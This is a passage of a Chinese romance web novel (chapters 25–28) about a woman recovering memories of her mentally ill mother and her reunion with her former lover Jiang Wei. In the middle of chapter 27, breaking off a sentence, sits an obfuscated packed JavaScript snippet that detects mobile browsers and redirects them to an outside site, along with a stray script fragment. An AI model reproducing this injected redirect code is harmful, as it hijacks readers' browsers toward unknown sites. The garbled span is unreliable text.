沈淮棠冥思苦想,像是要再给自己挑些毛病出来。与其说她觉得自己不好,只是因为江未太好,好得不大真实。 此时,江未却打断她说:“阿棠,这些都不是重要的事情,我都不介意,也都可以解决,我唯独有一个请求。” 她微微愣住。 江未耳尖红红,却认真地凝视着她的眼睛,瞳孔里倒映着蓝天白云与灿烂的阳光,声音轻快地像是鸟雀啾啾: “只要……只要你喜欢我。” “我只要你喜欢我。” 25. 精神马杀鸡 沈淮棠睁开眼。 天花板上流淌着明明暗暗的光斑,是阳光透过玻璃照射出来的形状。她没有关窗,海风温柔地拂过,带来遥远的船笛。 她重新闭眼,再睁开,才后知后觉梦境已经结束,回忆之旅再次中断。 年少的江未轻快的声音仿似还在耳边,他过犹不及地强调:“只要你喜欢我。” 真是霸道。 可言下之意全是“我喜欢你”。 沈淮棠回味片刻,不得不说还是年轻的江未更青涩可爱,哪怕已经学会将表白藏在话语之间。 如今的他在字斟句酌方面已是炉火纯青,让人拿不准他的意思。 想到此处,沈淮棠忍不住要咬后槽牙。 ——江未到底什么意思,从他嘴里说出来的故事多是半真半假,从头到脚都写着不真诚,一句直截了当就能说清楚的话非要婉转再婉转,恨不得九曲十八弯后再点一句核心。 可是这样讨厌的人,却又会在她最自暴自弃的时候不厌其烦地陪伴她,甚至任由胳膊被她咬得不像样。 如此,那点无名火又闷闷地浇熄了。 不过沈淮棠在见到江未时,还是忍不住赏了他一个白眼。 江未莫名其妙:“又讨厌我了?” “讨厌。”沈淮棠面无表情地说,“因为你不说实话。” 她拈起他脖颈间的戒指,顺利地套入左手食指——之前能让他得逞,不过恰好因为她食指与无名指尺寸相同罢了。 仅仅是这一个动作,江未便明白了,若有所思道:“看来你记忆恢复得很快。” 见她神色漠然,他仍然笑吟吟,“反正你早就揭穿我的谎言,之前还不当回事,这次却说讨厌我,有情绪波动,说明你更在乎我了,真好!” 沈淮棠倒没真生气,不过天生冷脸,也不擅长表达感情罢了,她感受着戒指上的温度,逗他道:“还我。” “不还!”江未戒备而麻利地将戒指抢回去,“我都戴五年多了,你这是抢劫。” 沈淮棠见他这小气包的模样,只觉得好笑,而后摇摇头,迈腿继续往前走了。 她想起方才的梦境,在那狭小漆黑的衣柜里,江未凝视她的眼睛闪闪发光: “阿棠,既然遗忘是无法避免的未来,那你要不要在有限的时间里,努力把异兽都记录下来?” 世间竟有如此巧合之事——遗忘真的是她无法避免的未来,失忆发生后,她忘了个彻彻底底,徒留他漂浮无所依。 而那枚戒指,则是记载她曾经与江未那短暂的三年,他自然要好好保存。 “哎呀,阿棠你别生气。”江未从后方三两步赶上来,拽住她的胳膊,“我给你买更好的首饰,你想要珠宝,还是钻石?” 沈淮棠斜睨他:“真的吗?” 江未见她翻脸翻得这般干脆,情不自禁气乐了:“我还真是付钱的时候最帅啊?” 见她老神在在地点头,他哼哼道,“看来上班还是有一点好处,至少能让我保持住这一个优点。” 他们并肩溜达,一路走到精神疗养院和公寓楼附近的小集市,即是安东尼所说的专门让患者摆摊的地方。 只要条件充分,不少精神疗养院都会有这样的特色项目,即是让病情没那么严重的患者,以及将近或已经痊愈的患者,能够自愿地通过劳动,比如做一些简单地手工或吃食,来适应回归社会的过程。 集市里配备了安保维持秩序,也有不少护士护工在引导患者,以免患者不适应模式,产生负面情绪或临时问题。 不仅如此,他们还看到不少志愿者在帮忙,随着梦港岛的旅游业发展,游客越来越多,在了解这个集市的公益性质后,也乐意来这里买买东西。 沈淮棠想起,曾经的她也时常来这里帮忙,一时高兴,集市到现在还能存在,并且越来越热闹,是许多人努力的结果。 她买了两杯鲜榨果汁,递给江未一杯,两人慢慢散步,瞧着摊位上有意思的小玩意儿,没多久竟看见前方有个眼熟的金发碧眼的小男孩,正奋力叫卖着。 江未眯了眯眼:“安东尼?” 正是他们来梦港岛第一天时,在餐厅不小心把沈淮棠撞下海里的小男孩。 安东尼也瞥见他俩,当即笑开花,大幅度挥手喊道:“这里!我在这里!” 沈淮棠上前看着他摊位上的手工品,掏钱买了一个小美人鱼的塑像,安东尼手脚麻利地包装,甜丝丝地说:“眼光真好,这是我们卖得最好的一款哦!” 她听乐了,这小子很会讲话嘛,正要开口接话,却听到不远处有人喊了安东尼的名字,问他是否回家吃晚饭。 沈淮棠觉得那嗓音有些耳熟,循着声音回眸,与一位同样金发碧眼的女士对上眼,熟悉的感觉涌上心头。 那是她以前的主治医师。 医生见到她,显然也很惊讶:“棠,是你吗?你还好吗?” 沈淮棠弯眼浅笑:“是我,好久不见。” “自从你受伤转院之后,我们就再也没有见过面了。”医生有些感慨,“你现在看上去状态比以前好多了,是已经恢复健康了吗?” “仍然需要定期检查。”沈淮棠耸耸肩,简单说明情况,“我失忆了,直到最近才开始恢复以前的记忆。” 医生颔首认真倾听:“在你失忆后,还有之前精神疾病的症状吗?比如产生幻觉,与不存在的生物对话?” 沈淮棠摇摇头:“没有,后来给我诊断的医生,认为之前是应激导致的抑郁倾向与幻觉,因为持续治疗吃药,所以没有发展成精神分裂,失忆以后,病原消失,我的情况就好了不少。” “这也是不幸中的万幸了。”医生拍拍她的肩膀,“祝你顺利恢复记忆。” 旁边的安东尼瞧着沈淮棠,充满惋惜地说:“原来你也生病了,上帝保佑你。” 沈淮棠摸摸他的脑壳,原本还以为安东尼是病人家属,才会在医院见过她照片,如今才知道,他是医生家属。 主要是这岛上本地人实在不多,这位医生现在还在疗养院就职,她也是没想到。 对此,医生笑着解释道:“确实,岛上大多是老人与孩子,青壮年都去大城市了,但我不喜欢过于喧嚣的生活,就留在这里结婚生子了。” 闲聊片刻,医生离开之前,同她介绍集市宣传板上的活动:“棠,我认为你可以看看,这是我们疗养院和自然疗愈机构的合作项目,主题是音乐疗愈。” 音乐疗法,沈淮棠对此略有了解,这是一种辅助治疗方式,能够缓解精神病患者焦虑和幻听等症状。 但那是一种专业的治疗手段,也需要较长的时间去达到治疗效果。 “这次的疗愈活动分为两个部分,有面对病人的长期专业治疗,在医院进行,无关人等不能参加。” “但是短期体验面向游客,如果有兴趣你可以 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房间的一侧摆放着大大小小不同规格的水晶钵,供疗愈师使用,另一侧则是落地窗,窗外是浩瀚的大海。 不久前室内大概点过香,这会儿气味未散,淡淡的宁神的香气,并不浓烈,卡在正好的地方,一切都非常舒服。 光是坐在此间,沈淮棠就感觉无比闲适怠惰,点评这是个很适合发呆的地方。 疗愈师敲门后进入,是个面容清雅的女子,气质怡然。她先让他们在太阳穴、脖颈与手腕都抹上植物精油,而后简单介绍听颂钵进入深度放松的过程,便邀请他们躺在准备好的软垫上。 沈淮棠躺下时还在寻思,枕头里的植物香气特别合她口味,沁人心脾,好闻又好睡,不知他们卖不卖。 而后,疗愈师在阵阵海潮声中敲起水晶钵,或清亮或浑厚的声音袅袅回荡,悠远而静谧,仿佛从宇宙深处而来,又缓缓地延展开。 那颂钵声余音绕梁,慢慢地让沈淮棠平静放松下来,胡思乱想的思绪也不知不觉止住,进入了一个似睡未睡的迷蒙状态。 大脑一片空白,仿似入睡前的混沌。 可就在这时,她脑中浮现曾经经历过的一幕又一幕,无法自控地想到母亲。 沈如风长长的柔软的头发,狭长美丽的眼睛,温柔的笑,优美的锁骨,还有她如同港湾般的怀抱。 太遥远了,那是她还很小的时候,母亲蹲下身来,将她揽在怀中,亲昵地与她脸贴着脸。 然而,沈淮棠知道那只是记忆。 此时的自己,正静静地躺在疗愈室的软垫上,海风拂过,吹起她的额发。 可就在这时—— 沈淮棠忽然嗅到微弱却熟悉的味道,如遭雷击,让她的右手轻轻颤抖起来。 是妈妈的味道。 就好像很久以前的雷雨天气,她被吓得心惊胆战,大半夜爬上母亲的床,带着哭腔喊一声“妈妈……” 就能收获一个紧紧的拥抱。 母亲的怀里,是她永远的避风港,能让她沉浸幸福地嗅着母亲身上散发的气味。 那是一种没有办法描述形容的,独属于妈妈的味道,带着一种特殊的香甜——是谁说,冒险的反义词是母亲——闻到就会觉得无比安心,觉得自己终于回家的味道。 她无声地喊,妈妈。 眼泪就这样流下来。 26. 桎梏 以往旁人在听闻沈淮棠的故事后,多少会升起怜悯之心。 可怜她小小年纪就要承担起照顾病人的责任,奔波于家庭医院学校三点一线。 久病床前无孝子,或许总有那么一瞬间,她会心生怨恨没有办法像其他少年时期的孩子一样,将所有精力放在学习,或者享受青春校园生活,在罅隙之中与朋友们游乐,或者暗恋某个某个帅气的男孩,和亲密的女孩谈心。 可母亲却给了她一段无与伦比的童年。 小时候,母亲对她宠到溺爱——或许因为沈如风本身就不是循规蹈矩的人,对女儿的最高要求是不能对她说谎,哪怕做坏事了,妈妈也要有知情权。 因为“乖乖遇到问题了,妈妈才能帮你解决呀”。 至于其他,沈如风倒不大在意。 她想要的东西,母亲从未拒绝过,向来都是高高兴兴一口答应。 每天她最期待的事情,就是幼儿园放学后母亲来接她。回家的路上,她牵着母亲的手,一人一个甜蜜蜜的冰淇淋或者热腾腾的烤红薯,她叽叽喳喳地说着今天又发生什么有趣的事情。 母亲笑眯眯地看着还笨嘴笨舌的她,却很耐心地认真倾听,哪怕大多都是些不着四六的废话。 而再年长些,别的小孩困于兴趣班时,母亲开始带她到处旅游。她们穿着相似的漂亮裙子,戴着酷酷的墨镜,一人一个行李箱,东奔西走,四处游历。 在此期间,母亲还热衷于举着相机给她拍照片,快门不停,似乎每个角度都最完美,洗出来的照片贴在客厅的照片墙上,或者做成一本本配字的照片书,如今仍被封存在书柜里。 ——沈淮棠庆幸于当年还没有朋友圈,否则她们母女俩能收获多少白眼与屏蔽啊。 甚至在中考过后,沈淮棠情绪低落地对母亲说:“妈妈对不起,我没有考上最好的重点高中。”沈如风却摸摸她的脸,问出最关心的问题:“你考上的学校,食堂好不好吃?有没有你喜欢吃的菜啊?” 说起厨艺,沈如风在艺术上十项全能,可在烹饪方面就有些差强人意,年轻时候轰炸厨房也是偶有的事。 直到沈淮棠出生后,她在学习育儿知识的过程中,逐渐对做饭产生了些许兴趣,但她深知自己三脚猫的水平,尝试的是最容易的鸡蛋卷饼。 说起来也是奇怪,沈淮棠却是最爱吃她做的鸡蛋卷饼。 那毫无水准的鸡蛋卷饼,在沈淮棠眼里是全世界最香最美味,一吃就是许多年。 后来,被病情影响的沈如风,很多事情都记不清了。 有一回,学校提前放学,沈淮棠比往日要早半个小时到家。进门时,母亲正在钢琴前自娱自乐地弹奏,随意地和弦美妙得像是温柔的风拂过海面掀起细浪。 琴声戛然而止,沈如风若有所思地站起身,换衣穿戴打扮整齐,描眉画唇,准备出门。 沈淮棠问道:“你要去哪里呀?” 沈如风对她弯眼而笑,满面温柔:“我要去接乖乖放学,别让她等急了。” 沈淮棠习以为常,也轻笑:“我陪你一起去吧。” 她们出门未久,沈如风改了主意,转道儿进了超市,拿了一板鸡蛋,又去挑了蛋糕与冰淇淋,回去的路上甚至还买了一件亮闪闪的公主裙。 当然,现在的沈淮棠早已穿不下了。 沈淮棠静静地看着母亲,面色不显,心脏仿似泡在滚烫油锅。 第二天她放学回家,看到沈如风在厨房里做鸡蛋卷饼,脚步顿如灌铅。 沈如风不知疲倦地在做卷饼,一张两张……几十张,一百张。 堆积如山的鸡蛋卷饼。 护工在旁边紧张地絮絮叨叨:“下午我盯着她吃过药,睡下了,才出门去超市采购,但是今儿下雨,我回来得晚些,一开门就看到她在做卷饼,阻止她还要打人呢!我看她也不闹,忙忙也就没管了,不出意外就好。” 许久,沈淮棠滞涩地说:“外面下大雨,她上哪里搞来那么多鸡蛋?” 直到她去楼下便利店时被老板打趣:“你妈妈今天怎么没来买鸡蛋呀?” 此时方知,沈如风总是趁着护工出门买菜时,偷偷翻窗出来卖鸡蛋,藏在床底,准备给女儿做鸡蛋卷饼。 多么荒唐,多么可笑。 连沈淮棠都觉得无力的事情,向来高敏感高自尊的沈如风清醒过来后,完全无法接受。 懊恼与耻辱如同源源不断的大火灼烧着她的每一寸肌肤,她崩溃尖叫,砸烂一切眼前的东西,厮打每一个靠近的人……最终的归宿是管制严格的医院病房。 那个才华横溢优雅体面的艺术家,怎会与基本的自理能力都有问题的癫狂疯子是同一个人? 其实,沈如风自尽过许多次。 若非如此,少年时期的沈淮棠也不至于养成如此惊弓之鸟的性子。 拿到残疾证的那天,沈如风痛哭不已,在家又摔又打,她掐着沈淮棠的脖子,目眦欲裂,歇斯底里:“我是废人!废人!” 气若游丝的声音从沈淮棠的喉咙里挤出来:“至少,至少你还活着……” 沈如风将残疾证摔在她脸上:“这样叫活着?!我还不如死了!” 暴烈的哭泣声变成呜咽,挑拨着沈淮棠脆弱的神经。 不管是她还是医生,大道理已经说了太多,到底也难以对沈如风的支离破碎感同身受。 哪怕在学校,沈淮棠相隔数小时就要打电话回家,询问沈如风的状况。 有一回,护工说母亲下午睡了许久,她忽觉不对,回家后发现沈如风留下“不做你的拖累”的纸条,暗自吞下大量的安眠药。 被送去洗胃的沈如风被折磨掉半条命。 或者,沈如风突然间砸起浴室玻璃,用碎片将自己割得鲜血淋漓,以求解脱。 沈淮棠和护工两个人才勉强将张牙舞爪的她制服,挣扎之间,不免被划伤密密的口子。 后来沈如风还尝试跳河,却命不该绝,被见义勇为的路人救起,事后沈淮棠带着大礼去路人家里千恩万谢。 那天雨很大,沈淮棠就算撑着伞,也被淋得浑身湿透。 可当她打开家门,却看见沈如风静静坐在黑暗里,不带任何感情地,冷冷地看着 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沈淮棠睁开眼睛,眼泪未停,心绪却意外地平静不已。 之前亲朋好友都在安慰她,失忆是没办法的事情,想不起来就算了,某种程度来说,忘记曾经经历过的痛苦是一件好事,以后可以更轻松地活。 然而当这一刻真正来临的时候,她却觉得,这是一定要想起来的事情。 那些与母亲一起生长与纠缠,互相伤害刺痛的记忆,鲜血淋漓的爱意,什么也无法替代。 从出生之前就盘根错节,源于血缘的连接,断开就像要把自己撕裂成两半,五脏六腑翻搅,这时候才恍然意识到,啊,是啊,五脏六腑也是母亲孕育的,分离怎能不痛呢。 记忆是枷锁,失忆也不过是忘记画地为牢的曾经,要想挣脱,还是得亲手解开桎梏。 此时,忽然有一阵风从窗户吹了进来,带着海水潮湿的淡淡腥味,撩开她额前散落的长发,似是在她的额头印上一吻。 她凝视着窗外,无声喃喃:“妈妈……” 然而窗外只有永不停歇的海潮与日升月落。 可她知道,母亲永远在有风的地方。 疗愈结束后,疗愈师给他们留下两杯热水,便悄悄退了出去。 沈淮棠躺着没动,骤然恢复大量记忆,声音画面层层叠叠地涌上脑子,甚至有细细密密如影随形的痛感,她垂着眼,缓缓按摩着太阳穴。 江未已然起身,见她这般,也没说话,只是伸手轻轻地为她拭去眼泪。 温暖的指腹缱绻地在她的眼尾流连,似在抚摸他的无上至宝。 她忽而转眸,望着江未沉吟不语,许久才恍然大悟般开口:“我知道你为什么找到我之后,却迟迟不来与我相认了。” 江未挑眉:“哦?是为什么呢?” “你怕我见到你,会回忆起以前的痛苦,抑郁复发。”沈淮棠清晰而笃定地说,“所以决定不打扰我的生活,宁愿让我继续无忧无知地过下去,对吗?” 27. 做不到 江未沉默一瞬,蓦然一笑:“是。” 沈淮棠抬眸,想要确认他所说是否真实,却被他用手盖住眼睛。 “别这样看我……我知道,这种想法是太过自私了,但出发点真的是为你好。” 沈淮棠没搭腔,只轻轻叹气。 “不过,我也坚持不了太久,悄悄在暗处看着你便罢了,可那天我们重逢……” 他趁她看不见,啄吻一下她的额头,“你看向我的眼神,疏远冷漠,我所有的理智轰的一下就炸了,满脑子想的都是——” “你怎么可以像陌生人一样看着我?” “你怎么可以不要我?” “你怎么可以,忘了我?” “得了,反应过来的时候已经追出去,一年的努力全白费。”他语气轻快得很。 沈淮棠缓缓眨眼,睫毛扫着他温热干燥的手心,回忆那天夜里的一切,还以为自己情绪外露,险些哭泣,怎的在他看来竟是“疏远冷漠”呢。 她拿开他的手,重新适应光线后看清他的面容,微微上翘的眼尾有些泛红,似乎有泪泛起又隐去。 江未又笑,捧起她的手抚在自己脸上。 他眷恋地蹭着她的手心,面容呈现出某种欢愉又破碎的美丽: “我做不到的,你在我最喜欢你的时候消失不见,找你的时间仿佛是一场漫长的凌迟,一直在不断地提醒我,就是因为我一时任性而付出代价。” 她顺意掐住他的脸,些微用力:“为什么总是在笑?开心笑,难过也笑,真是劣质面具。” 江未吃痛:“轻点轻点。” 沈淮棠又问:“刚刚在疗愈的时候,你看到了什么?想到了什么?” 他故作惊讶:“阿棠,这么久了,你终于想要了解我了吗?” 这话说的,好似沈淮棠是什么薄凉的负心汉,连吃带拿只进不出,专逮着江未一个人薅羊毛。 不过仔细想想,江未对她确实极好,因此她又难免心虚,于是松开魔爪,故作强硬地说:“对不起,你说没关系。” 江未:? 江未:“没关系。” 然而直到他们离开疗愈馆,江未都没有开口说过任何有关于他方才想起什么。 不知何时起,天空下起濛濛细雨。 他们都没带伞,三两步跑到街边咖啡馆屋檐下避雨,见雨势不但没有收敛的意思,还越下越大,干脆进店等待。 也不知是否方才的哭泣过于消耗精力,沈淮棠此时腹中空空,饿得眼冒金星,干脆去买了切件蛋糕,就着咖啡狼吞虎咽。 江未接了两个工作电话,才放下手机,就发现对面沈淮棠已经吃完两个蛋糕,还神不知鬼不觉从他盘子里的蛋糕挖了一块儿去。 他觉得好笑:“晚上不吃饭了?” “饿了就吃。”她吃饱喝足,优雅地用纸巾擦嘴,“这蛋糕太甜了,放了致死量的糖,齁得慌。” 闲聊三两句,江未又垂眸处理片刻工作信息,似是公司最近准备探进新领域,严谨点总没错。 哪怕江未每日都划定一段时间专门处理工作,争取与沈淮棠在一起时尽量不扫兴,她却看得出来,不管是上次去涯城,或是这次来梦港岛,他都行迹匆匆,应该是公司里仍有事情条目需要他过目。虽然不至于焦头烂额,却也太折腾了。 无论失忆前后,沈淮棠都是个很耐得住寂寞的人,并非极度需要陪伴。 如眼下这个情况,她也能喝着咖啡,看窗外绵延的雨,就能渡过很长时间。她在想,江未是不是把她想得太脆弱了。 然而仔细琢磨,若江未没有跟来,她独自在梦港岛漫步时,想起许多与他有关的记忆,却无处分享那隐秘的心情,着实差点意思。 还是他在身边比较好。 或许是最近恢复记忆的影响,她与江未的关系无形之中拉近不少,她好似越来越习惯他的存在,看不到时会下意识地寻找他的身影,这对于惯于独立的她来说,不知是好是坏。 江未收起手机时抬眸,正好与她不带情绪的目光对视,当即道歉:“抱歉,冷落你了。” 沈淮棠回神,若有所思:“你很忙?” “一直都忙。”江未坦诚地说,“忙完这一阵,就开始忙下一阵,事情是做不完的。” 她困惑道:“如果那么忙,为什么要跟我来梦港岛?” 江未闻言敏锐问道:“你不高兴了?” “你敏感肌啊?”沈淮棠无奈摊手,“别多心,我只是好奇问问。” 江未松口气,笑笑说:“不放心呗,你要是又不见了,我可受不住。” 说得举重若轻,沈淮棠却品出冰山之下的深渊。若是她再消失一次,他怕是真的要崩溃了。 在鹤城时,哪怕江未不打扰她,也要知道栖居在什么地方,确保她仍在此地。 上回他们去涯城看流星雨,几乎每日二十四小时都在一起。 这次在梦港岛,只要沈淮棠出门,江未必然寸步不离地跟在她身边。 沈淮棠并不缺独处的时间,但她知道,江未一定在附近静静陪伴。 只要她一回头,他随时都在。 由此可见,就算江未已经尽量克制控制欲,曾经失去她的焦虑紧张仍会在不经意间涌现,他无时无刻都在“给她自由”与“将她关起来”之间挣扎,纷乱思绪最后的出口是——将自己稳定地关在她身边——完美解决。 沈淮棠莫名被逗乐,隐隐而笑:“江未,我觉得你和以前相比,变了好多。” “认识那么久,你当我这八年白过了?人体细胞七年就能完成一次完整的新陈代谢,我已经不是原来的我了。”江未瞥她一眼,“现在站在你面前的是,江·我要拿回属于我的一切·未。” 江未成功让她唇角弯弯,轻叹口气道:“我明白你想说什么,因为我也是这么认为的——我变成了一个无聊的大人。” 他伸了个懒腰,眉眼惬意,那神态又与少年时很像了,“等我不想干了,就去周游世界,这破班谁爱上谁上。” 不愧是热爱环游世界的奶奶带大的小孩,一旦这颗向外探寻的种子被种下,就很难回到单调重复的流水线里去。 然而她真正想说的是,他们的性格似乎往对方曾经的模样发展了。 并非完全一样,但很有些类似的错觉。 年轻的沈淮棠急张拘诸,难以放松,大脑无时无刻被流动的思虑充斥。而江未却疏散傲慢,能量充足。因此他能让她平静,暂时从作茧自缚中脱离。 而现在的沈淮棠倒是那个逍遥散漫的人,无牵无挂因而无拘无束。江未却要费心许多事情,江家的事业,体量庞大的公司,还要挂心她什么时候又消失了,于是再忙也要跟在她身后亦步亦趋。 若是十七八岁的沈淮棠必然不会相信如今的江未会有这般变化——她曾在他身上看到太阳与自由的模样,对于喜欢与想做的事情无比笃定勇敢,眼睛闪闪发光——这样的状态是她求之不得,因此她怎么会在江未父母去世后,劝他放弃梦想,回去做小江总? 而她要真那么现实而虚荣,在劝他走上一条所谓的星光坦途后,她却推开他,提分手,退居十八线做一个远远观望他的人? 只不过,江未一直没有详细地解释过这件事情。 又或者说,就算他解释了,也仅仅是他的主观感受,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850610|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上她的视角,才能拼凑出最接近实情的记忆。 因此,沈淮棠也并不着急,真相总有大白的一天。 回到酒店后,她坐在书桌前,又开始翻阅失忆前所写的小说。 那是她前思后想决定记录异兽的载体。 主角小人踏上冒险征途,所遇到的妖兽全是幻觉中陪伴她已久的异兽。 每一只异兽都诡异而危险,然而主角在通过与他们相知相识,体味世间百态,感受友情与背叛,经历荣耀与离别,挖出异兽背后不为人知的故事,回首时才发现,不知不觉间,她已经走了那么远。 然而,不管主角如何艰辛,她都有一个无与伦比的金手指。 那是一个可以随身携带的小小空间,如同她的巢穴,只要累了困了受伤了,都能在此回血疗伤。恢复过后,再出去面对新的征途。 这小空间的名称,叫栖居。 她曾经以为这名字不过是随意起的,莫名喜爱,因此在鹤城新开书店后,店名也叫栖居。 然而,此栖居非彼栖居,其中含义也不甚相同。 原本的栖居,是她面对铺天盖地压力后,能够缩回去睡个好觉的地方。 而她在经历意外,失忆,独自沉浮以后,安乐屋却还在原地等她。 何其幸运。 沈淮棠一时感慨,铺开纸笔,冥思苦想想要记录三两行字。 房间里播着悠扬的音乐,她手边还有一杯甜而不醉的果酒,时不时抿一口,很快就陷入微醺的状态。 不知何时,窗外又下起雨来,噼里啪啦打在夜晚的海面上。 那声音相当催眠,她听着下意识就开始神游,直到被手机的震动声惊醒。 余谨的开场白永远都简单直接:“什么时候回来?” 坐了许久,沈淮棠干脆站起来伸了个懒腰,算了算时间::“再有半个月吧。” “太久了。”余谨轻轻叹口气,语气也软化不少,“早点回来,我和余慈一起给你过生日,不好吗?” 她简单活动着四肢,不以为意道:“一个生日罢了,咱们见面也不拘于哪一天,等我回去请你们吃饭,也是一样的。” 余谨沉默片刻,嗓音竟有些干涩:“不一样,那不一样。” “有什么不一样?” 沈淮棠不知他又犯什么轴,却也习惯这牛脾气,顺着哄了三两句。 推开阳台门,一阵晚风吹来,混着雨水与海洋的气味,她眯着眼感受凉爽之意,却冷不丁注意到隔壁阳台的黑暗中坐着个人,吓得握着手机的手一抖。 仔细一瞧,正是江未,不知坐在沙发上想什么,看着海面,手中也掂着酒杯。 听到她的声响,他好奇地看过来,半边容颜仍陷在黑暗中,另外半边却被她房间的灯点亮,耳廓红痣似是闪起光一般。 余谨察觉她的迟疑:“怎么了?” “没事,以为见鬼了。”沈淮棠斜睨满脸无辜的江未一眼,继续讲电话,“以前也没见你那么有仪式感,怎么现在非要掐着点儿给我过生日?” “一直都有,你不知道而已。”余谨有些无奈地解释说,“以前不常见面,快递时间又难以预估,总是无法让礼物在生日当天抵达,后来想着,早到总比迟了好。” “只有一回推迟,是送我新款手机。”她撑着腮帮子慢悠悠地开口,海风吹起她的长发,“二十岁那年的生日礼物,对吧?” 此话一出,竟然最先引起江未的注意。 他整张脸都转过来了,目光灼灼,似乎要仔细听她提到的事情。 反而余谨闻言犹疑,言语间竟有难以忽略的疑心重重:“你……你都想起来了?” 28. 端水大师 沈淮棠在夜风中轻轻一笑,不答反问:“你不希望我想起来吗?” “只是不希望你过于勉强自己,大脑这器官太复杂,刻意回忆说不定有反效果,想不想得起来,都没关系。” 余谨的声音渐渐平定,不动声色地转移话题,“今天生日想要什么礼物?给你换辆车?” 沈淮棠倒也不强求,顺着话题赞叹道:“哇,余总好大方——” 余谨不乐意了:“你叫我什么?” 她笑道:“谢谢哥。” 自打沈淮棠失忆以后,余谨总不满于她不再叫他哥哥,反而客气疏离地称呼全名,唯有得了好处卖乖时,才能从她嘴里撬出些好话来。 铛! 清脆一声,来自隔壁阳台。 江未不知想到什么,面色沉沉,将玻璃酒杯往茶几上一放,玻璃相撞,发出清脆的声响。 他不再关注她的电话,将脸重新转入黑暗,半晌竟难以忍受般站起身来,直接离开阳台,回屋里去了。 沈淮棠见江未略显浮夸的闹脾气行为,忍不住唇角弯弯,无声地笑了。 余谨仍沉浸在方才的话题里,思考片刻后说:“我看Z家那款车就不错,等你回来之后,带你去提车。” 沈淮棠微微皱眉:“不要,我不喜欢。” 余谨语气也淡下来:“可是这款车很实用,也适合你,有什么不喜欢?” “我喜欢大车。”沈淮棠强调,又觉得重点不在此处,“你给我买礼物,难道不考虑我的喜好吗?” 余谨真的无法理解:“你都没有亲眼看过,上手开过,怎么知道不喜欢?” 沈淮棠无奈地呼出一口气。 她知晓余谨并非故意,严谨务实的性子,再加上高强度的工作生活,让他成为一个能够短时间内做出最有用、最合适或是有性价比决定的人,简直是选择困难症的福音。 然而沈淮棠与他极为类似,很有主见,且不容他人置喙——此时她收礼物的快乐全无,甚至提不起半天辩论的兴致。 她放弃解释,懒洋洋道:“算了,我不要了,你喜欢你就自己买。” 余谨哽住:“你不高兴了?” “没有,习惯了。”她轻描淡写地说,“总要替我做决定,也不管我愿不愿意,能不能把我当个人来尊重?” 这不是沈淮棠第一回说他,甚至余慈也对此颇有微词,于是他悻悻退步:“抱歉,那你研究研究喜欢什么车,回来我们再一起去看。” “没必要,省得你花钱都不舒坦。”争论的次数太多,她只觉得疲惫,“我只是在挑选喜欢的礼物,你就认为自己在对我退让……这足以说明我们之间想法不同,不必硬融,就这样吧。” “我不是这个意思。”余谨几乎有些慌乱了,“你喜欢什么,就买什么。” 沈淮棠陷入沉默,叹息声散落在风中。 余谨对她好,可永远合不到一处去。 他已经知道她不情愿了,只好再次转移话题道:“生日准备怎么过?” 她想想道:“还没试过夜潜。” 他问:“自己一个人去?” 她说:“不是。” 在这一刻,余谨如有神助,破天荒地用了一回他向来嗤之以鼻的第六感:“江未不会也在岛上吧?” 沈淮棠被他的语气逗笑:“是啊。” 那端传来磕碰的声音,似是余谨猛地站起身,带起身后的椅子,他再次问道:“你到底想起以前的事情了吗?” “模模糊糊吧……想起来一些,但并不是全部。”她说,“你那么激动做什么?” 话题进行到这里,余谨连发声都有些艰涩,似是在思考,或是犹豫,逐字逐句地斟酌,导致难以畅所欲言。 “既然没有完全想起来……”他微微一顿,“明知他做了对不起你的事情,你还允许他的接近?” 沈淮棠说:“因为喜欢。” 余谨难以置信:“哪怕没有想起来……” 她毫不犹豫:“哪怕没有想起来。” 这一次,余谨的沉默更长久,沈淮棠都以为他不管不顾地结束连线。 可下一秒,她却听见那端带着颤抖的叹息,他说:“为什么呢?” 冥冥之中,沈淮棠感觉到了什么,可她不能说,或者必须将那些难以诉诸于口的萌芽掐死在摇篮之中。 “喜欢这件事,哪里有什么原因。”她用半开玩笑的语气说,“若真要论,他长得合我口味,很久以前,我就对这张脸一见钟情,再次重逢亦如是。” 江未这幅美丽的皮囊,不是什么可替代的优良品质,越是轻飘飘,杀伤力越大。 他们之间从未有过如此僵硬的时刻。 两个犟种的脾气如出一辙,只是余谨更显强势,然而涉及到大问题,沈淮棠也寸步不让。 她在风中沉默。 直到余谨一声不响地挂断电话。 他似乎已经忍耐到极致。 相比余谨平日的作风,他对她已是难得的宽容——但是,不行,她无法将自己套上绳索,将绳子那端送到他手上。 希望他们能维持表面和平。 ——过年还得在一张桌子上吃饭呢。 思虑之间,沈淮棠下意识地往江未的阳台看去,已经空空荡荡。 他回去之后,门没有关,只是雨声潇潇,她也不知他是否能听到她讲电话,又听到了多少。 问题不大,反正他余谨讨厌得很。 杯中酒被一饮而尽,落雨声中,未过的酒劲儿与方才三两分复杂的情绪影响着沈淮棠的思维。 神经突突跳着,她忽然将杯子放下,两手在阳台扶手一撑,就这么翻出去了。 印象中,她从未做过如此大胆危险的事情——除了救二白那一回,她请求江未带她翻窗去医院。 相比之下,倒是江未对这种事熟门熟路,翻她的窗都翻三回了。 阳台距离地面并不算高,沈淮棠小心谨慎些,三连跳平安落地。她淋着细细密密的雨丝,拍拍身上的灰尘,转身攀爬后翻进江未房间的阳台。 门敞开着,屋内并未开灯,一片漆黑。 海风漫卷,挑起沈淮棠额前略带湿漉的长发,她脱去鞋子,赤脚踏入那一片幽深的黑暗中。 所幸房间格局大抵类同,没有过多障碍物,她慢慢走着,眼睛逐渐适应昏暗的环境,未久停下脚步,望向厅中景象。 江未仰面躺在沙发上,放空瞧着墙壁上滴滴答答的圆盘时钟。 他的领口敞开,锁骨线条流畅,两条长腿交叠,颇有种无处安放的意思。 听到 